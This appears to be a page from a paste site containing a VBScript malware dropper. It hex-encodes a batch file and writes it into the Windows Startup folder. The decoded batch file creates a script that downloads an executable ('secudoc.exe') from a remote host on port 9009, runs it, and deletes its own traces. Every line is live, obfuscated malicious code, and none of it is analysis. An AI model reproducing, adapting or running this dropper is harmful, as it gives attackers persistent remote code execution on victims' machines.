SHOW:
|
|
- or go back to the newest paste.
1 | Dim sf | |
2 | sf = CreateObject("WScript.Shell").SpecialFolders("Startup") | |
3 | Set File = CreateObject("Scripting.FileSystemObject").CreateTextFile(sf & "\d6f17d97.bat", True) | |
4 | Dim hex1 | |
5 | hex1 = "6563686F206F66660A64656C202F712F662F73202574656D70255C64366631376439372E7662730A64656C202F712F662F73202574656D70255C643666313764" | |
6 | Dim count1 | |
7 | count1 = Len(hex1) | |
8 | For i = 1 To count1 Step 2 | |
9 | File.Write Chr(CInt("&h" & Mid(hex1,i,2))) | |
10 | Next | |
11 | Dim hex2 | |
12 | hex2 = "39372E6578650A5345542066663D2574656D70255C64366631376439372E7662730A5345542070313D44696D20683A0A5345542070323D2053657420680A5345" | |
13 | Dim count2 | |
14 | count2 = Len(hex2) | |
15 | For i = 1 To count2 Step 2 | |
16 | File.Write Chr(CInt("&h" & Mid(hex2,i,2))) | |
17 | Next | |
18 | Dim hex3 | |
19 | hex3 = "542070333D203D204372650A5345542070343D6174654F626A0A5345542070353D65637428224D0A5345542070363D6963726F736F0A5345542070373D66742E" | |
20 | Dim count3 | |
21 | count3 = Len(hex3) | |
22 | For i = 1 To count3 Step 2 | |
23 | File.Write Chr(CInt("&h" & Mid(hex3,i,2))) | |
24 | Next | |
25 | Dim hex4 | |
26 | hex4 = "584D4C0A5345542070383D4854545022290A6563686F202570312525703225257033252570342525703525257036252570372525703825203E3E20256666250A" | |
27 | Dim count4 | |
28 | count4 = Len(hex4) | |
29 | For i = 1 To count4 Step 2 | |
30 | File.Write Chr(CInt("&h" & Mid(hex4,i,2))) | |
31 | Next | |
32 | Dim hex5 | |
33 | hex5 = "5345542070313D44696D20733A0A5345542070323D2053657420730A5345542070333D203D204372650A5345542070343D6174654F626A0A5345542070353D65" | |
34 | Dim count5 | |
35 | count5 = Len(hex5) | |
36 | For i = 1 To count5 Step 2 | |
37 | File.Write Chr(CInt("&h" & Mid(hex5,i,2))) | |
38 | Next | |
39 | Dim hex6 | |
40 | hex6 = "63742822410A5345542070363D646F64622E530A5345542070373D747265616D220A5345542070383D29200A6563686F20257031252570322525703325257034" | |
41 | Dim count6 | |
42 | count6 = Len(hex6) | |
43 | For i = 1 To count6 Step 2 | |
44 | File.Write Chr(CInt("&h" & Mid(hex6,i,2))) | |
45 | Next | |
46 | Dim hex7 | |
47 | hex7 = "2525703525257036252570372525703825203E3E20256666250A5345542070313D682E4F70656E0A5345542070323D2022474554220A5345542070333D2C2022" | |
48 | Dim count7 | |
49 | count7 = Len(hex7) | |
50 | For i = 1 To count7 Step 2 | |
51 | File.Write Chr(CInt("&h" & Mid(hex7,i,2))) | |
52 | Next | |
53 | Dim hex8 | |
54 | hex8 = "6874740A5345542070343D703A2F2F766D0A5345542070353D732E6834636B0A5345542070363D3070732E63630A5345542070373D3A393030392F0A53455420" | |
55 | Dim count8 | |
56 | count8 = Len(hex8) | |
57 | For i = 1 To count8 Step 2 | |
58 | File.Write Chr(CInt("&h" & Mid(hex8,i,2))) | |
59 | Next | |
60 | Dim hex9 | |
61 | hex9 = "70383D73656375646F0A5345542070393D632E657865220A534554207031303D2C2046616C730A534554207031313D65200A6563686F20257031252570322525" | |
62 | Dim count9 | |
63 | count9 = Len(hex9) | |
64 | For i = 1 To count9 Step 2 | |
65 | File.Write Chr(CInt("&h" & Mid(hex9,i,2))) | |
66 | Next | |
67 | Dim hex10 | |
68 | hex10 = "70332525703425257035252570362525703725257038252570392525703130252570313125203E3E20256666250A5345542070313D682E53656E640A6563686F" | |
69 | Dim count10 | |
70 | count10 = Len(hex10) | |
71 | For i = 1 To count10 Step 2 | |
72 | File.Write Chr(CInt("&h" & Mid(hex10,i,2))) | |
73 | Next | |
74 | Dim hex11 | |
75 | hex11 = "2025703125203E3E20256666250A5345542070313D663D204372650A5345542070323D6174654F626A0A5345542070333D6563742822530A5345542070343D63" | |
76 | Dim count11 | |
77 | count11 = Len(hex11) | |
78 | For i = 1 To count11 Step 2 | |
79 | File.Write Chr(CInt("&h" & Mid(hex11,i,2))) | |
80 | Next | |
81 | Dim hex12 | |
82 | hex12 = "72697074690A5345542070353D6E672E46696C0A5345542070363D6553797374650A5345542070373D6D4F626A65630A5345542070383D7422292E47650A5345" | |
83 | Dim count12 | |
84 | count12 = Len(hex12) | |
85 | For i = 1 To count12 Step 2 | |
86 | File.Write Chr(CInt("&h" & Mid(hex12,i,2))) | |
87 | Next | |
88 | Dim hex13 | |
89 | hex13 = "542070393D7453706563690A534554207031303D616C466F6C640A534554207031313D6572283229200A534554207031323D2B20222F64360A53455420703133" | |
90 | Dim count13 | |
91 | count13 = Len(hex13) | |
92 | For i = 1 To count13 Step 2 | |
93 | File.Write Chr(CInt("&h" & Mid(hex13,i,2))) | |
94 | Next | |
95 | Dim hex14 | |
96 | hex14 = "3D6631376439370A534554207031343D2E65786522200A6563686F20257031252570322525703325257034252570352525703625257037252570382525703925" | |
97 | Dim count14 | |
98 | count14 = Len(hex14) | |
99 | For i = 1 To count14 Step 2 | |
100 | File.Write Chr(CInt("&h" & Mid(hex14,i,2))) | |
101 | Next | |
102 | Dim hex15 | |
103 | hex15 = "25703130252570313125257031322525703133252570313425203E3E20256666250A5345542070313D5769746820730A6563686F2025703125203E3E20256666" | |
104 | Dim count15 | |
105 | count15 = Len(hex15) | |
106 | For i = 1 To count15 Step 2 | |
107 | File.Write Chr(CInt("&h" & Mid(hex15,i,2))) | |
108 | Next | |
109 | Dim hex16 | |
110 | hex16 = "250A5345542070313D2E54797065200A5345542070323D3D2031200A6563686F202570312525703225203E3E20256666250A5345542070313D2E4F70656E200A" | |
111 | Dim count16 | |
112 | count16 = Len(hex16) | |
113 | For i = 1 To count16 Step 2 | |
114 | File.Write Chr(CInt("&h" & Mid(hex16,i,2))) | |
115 | Next | |
116 | Dim hex17 | |
117 | hex17 = "6563686F2025703125203E3E20256666250A5345542070313D2E77726974650A5345542070323D20682E7265730A5345542070333D706F6E7365420A53455420" | |
118 | Dim count17 | |
119 | count17 = Len(hex17) | |
120 | For i = 1 To count17 Step 2 | |
121 | File.Write Chr(CInt("&h" & Mid(hex17,i,2))) | |
122 | Next | |
123 | Dim hex18 | |
124 | hex18 = "70343D6F6479200A6563686F2025703125257032252570332525703425203E3E20256666250A5345542070313D2E73617665740A5345542070323D6F66696C65" | |
125 | Dim count18 | |
126 | count18 = Len(hex18) | |
127 | For i = 1 To count18 Step 2 | |
128 | File.Write Chr(CInt("&h" & Mid(hex18,i,2))) | |
129 | Next | |
130 | Dim hex19 | |
131 | hex19 = "200A5345542070333D662C2032200A6563686F20257031252570322525703325203E3E20256666250A5345542070313D456E642057690A5345542070323D7468" | |
132 | Dim count19 | |
133 | count19 = Len(hex19) | |
134 | For i = 1 To count19 Step 2 | |
135 | File.Write Chr(CInt("&h" & Mid(hex19,i,2))) | |
136 | Next | |
137 | Dim hex20 | |
138 | hex20 = "0A6563686F202570312525703225203E3E20256666250A7374617274202F57202574656D70255C64366631376439372E7662730A7374617274202574656D7025" | |
139 | Dim count20 | |
140 | count20 = Len(hex20) | |
141 | For i = 1 To count20 Step 2 | |
142 | File.Write Chr(CInt("&h" & Mid(hex20,i,2))) | |
143 | Next | |
144 | Dim hex21 | |
145 | hex21 = "5C64366631376439372E6578650A64656C202530" | |
146 | Dim count21 | |
147 | count21 = Len(hex21) | |
148 | For i = 1 To count21 Step 2 | |
149 | File.Write Chr(CInt("&h" & Mid(hex21,i,2))) | |
150 | Next | |
151 | File.Close |